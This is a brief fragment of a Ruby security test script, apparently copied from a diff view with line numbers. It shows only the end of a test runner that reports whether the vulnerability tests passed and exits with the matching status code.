puts " Review failed tests and address vulnerabilities"
|
142
|
-
end
|
143
|
-
|
144
|
-
passed == total && total > 0
|
145
|
-
end
|
146
|
-
|
147
|
-
if __FILE__ == $0
|
148
|
-
success = test_security_vulnerabilities
|
149
|
-
exit(success ? 0 : 1)
|
150
|
-
end
|